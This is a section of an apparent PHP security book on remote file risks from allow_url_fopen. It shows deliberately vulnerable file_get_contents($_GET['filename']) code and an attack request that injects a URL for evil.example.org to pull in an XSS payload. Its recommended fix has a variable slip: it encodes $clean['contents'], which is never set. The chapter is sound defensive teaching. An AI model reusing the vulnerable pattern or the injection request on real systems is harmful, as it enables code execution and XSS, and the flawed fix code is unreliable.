Приглашаем посетить
Культурология (cult-lib.ru)

Section 6.2.  Remote File Risks

Previous
Table of Contents
Next

6.2. Remote File Risks

PHP has a configuration directive called allow_url_fopen that is enabled by default. It allows you to reference many types of resources as though they were local files. For example, you can retrieve the content (HTML) of a particular page by reading from a URL:

    <?php

    $contents = file_get_contents('http://example.org/');

    ?>

As discussed in Chapter 5, this can create severe vulnerabilities when tainted data is used to reference a file in include or require statements. In fact, I consider this particular type of vulnerability to be one of the most dangerous vulnerabilities possible in a PHP application because it allows an attacker to execute arbitrary code.

Although slightly less severe in magnitude, similar vulnerabilities exist when tainted data is used to reference a file in standard filesystem functions. For example, consider reading a file as follows:

    <?php

    $contents = file_get_contents($_GET['filename']);

    ?>

This particular example lets a user manipulate the behavior of file_get_contents( ) so that it retrieves the contents of a remote resource. Consider a request similar to the following:

    http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html

This results in a situation in which $contents is tainted, a fact obscured by the indirect way in which it is obtained. This is another reason why Defense in Depth is such a strong principleby treating the filesystem as a remote source of data, the value of $contents is considered to be input anyway, so your filtering logic can potentially save the day.

Because $content is tainted, it can lead to many other types of security vulnerabilities, including cross-site scripting and SQL injection . For example, the following illustrates a cross-site scripting vulnerability:

    <?php

    $contents = file_get_contents($_GET['filename']);

    echo $contents;

    ?>

The solution is to never use tainted data to refer to a filename. Always filter input and be sure to use only filtered data when referencing a filename:

    <?php

    $clean = array();

    /* Filter Input ($_GET['filename']) */

    $contents = file_get_contents($clean['filename']);

    ?>

Although this does not guarantee anything about the data within $contents, it does give you reasonable assurance that you are reading a file that you intend to be reading, rather than one chosen by an attacker. To strengthen this approach, you should also treat $contents as input and filter it prior to use:

    <?php

    $clean = array();
    $html = array();

    /* Filter Input ($_GET['filename']) */

    $contents = file_get_contents($clean['filename']);

    /* Filter Input ($contents) */

    $html['contents'] = htmlentities($clean['contents'], ENT_QUOTES, 'UTF-8');

    echo $html['contents'];

    ?>

This provides a very strong defense against numerous types of attacks, and it is the recommended approach.


Previous
Table of Contents
Next